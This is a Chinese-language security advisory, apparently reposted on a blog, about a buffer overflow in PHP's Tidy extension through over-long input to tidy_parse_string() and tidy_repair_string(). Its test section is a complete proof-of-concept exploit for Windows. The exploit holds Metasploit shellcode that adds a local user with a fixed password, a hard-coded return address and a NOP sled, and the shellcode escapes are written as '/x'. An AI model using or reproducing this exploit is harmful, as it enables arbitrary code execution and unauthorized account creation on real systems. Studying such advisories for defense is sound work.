PHP Tidy库远程缓冲区溢出漏洞

受影响系统:
C. Reitzel TidyLib for PHP 050506
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24527

Tidy库用于改正HTML文档中的常见错误并生成格式编排良好的等价文档,还可以生成XHTML格式的文档。

Tidy库实现上存在缓冲区溢出漏洞,攻击者可能利用此漏洞通过诱使用户处理恶意文档执行恶意指令。

PHP所使用的Tidy库中没有正确验证对tidy_parse_string()和tidy_repair_string()函数的输入。如果用户向这些函数传送了超长参数的话,就可能触发缓冲区溢出,导致执行任意指令。

<*来源:rgod (rgod@autistici.org)
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
//PHP 5.2.3 tidy_parse_string() & tidy_repair_string() local
//buffer overflow poc (win)
//rgod
//site: retrogod.altervista.org

//quickly tested on xp sp2, worked both from the cli and on apache
//let's have a look here: http://www.google.com/codesearch?hl=it&q=+tidy_parse_string&sa=N

if (!extension_loaded("tidy")){die("you need Tidy extension loaded!");}

# win32_adduser - PASS=tzu EXITFUNC=thread USER=sun Size=233 Encoder=JmpCallAdditive http://metasploit.com
$scode =
"/xfc/xbb/x0b/xad/x7d/x9a/xeb/x0c/x5e/x56/x31/x1e/xad/x01/xc3/x85".
"/xc0/x75/xf7/xc3/xe8/xef/xff/xff/xff/xf7/x45/x39/x9a/x07/x96/x49".
"/xdf/x3b/x1d/x31/xe5/x3b/x20/x25/x6e/xf4/x3a/x32/x2e/x2a/x3a/xaf".
"/x98/xa1/x08/xa4/x1a/x5b/x41/x7a/x85/x0f/x26/xba/xc2/x48/xe6/xf1".
"/x26/x57/x2a/xee/xcd/x6c/xfe/xd5/x29/xe7/x1b/x9e/x6d/x23/xe5/x4a".
"/xf7/xa0/xe9/xc7/x73/xe9/xed/xd6/x68/x9e/x12/x52/x6f/x4b/xa3/x38".
"/x54/x8f/x77/xf1/x54/xeb/xfc/xb2/x64/x76/xc2/x4b/x89/xf3/x83/xa7".
"/x1a/x73/x18/x15/x97/x1b/x28/x8e/xa1/x50/xa8/xe0/xb2/x66/xa9/x8b".
"/xdb/x5a/xf6/xba/xed/xc2/x5e/x34/xe9/x81/x9f/x3d/x5a/xed/xf0/x0c".
"/xba/x8d/x66/x09/xc5/xc7/x79/x7e/xc5/x30/xe6/xed/x5d/x90/x8c/x95".
"/xf8/xcc/x61/x05/x23/x62/x1b/xbd/x03/x0f/x90/x58/x36/xcf/x25/xd6".
"/xd8/x2f/xbe/x62/x50/x0f/x11/xd2/xde/x0b/x4d/xf2/xf8/xb3/xe3/x9f".
"/x70/x93/x97/x30/x1a/xb2/x0b/xa8/xae/x5b/xa1/x46/x6f/xe2/x2d/xca".
"/x06/x8a/xc4/x67/xad/x20/x76/xfc/x22/xb6/x0b/xdc/xcf/x43/x82/x3c".
"/x1f/xea/x1e/x79/x5f/xec/x9e/x81/x5f";

$EIP="/x8B/x51/x81/x7C"; //0x7C81518B call esp kernel32.dll
$NOP=str_repeat("/x90",12);
$____buff=str_repeat("a",2036).$EIP.$NOP.$scode;
tidy_parse_string(1,$____buff,1);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

C. Reitzel
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://dev.int64.org/tidy.html
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值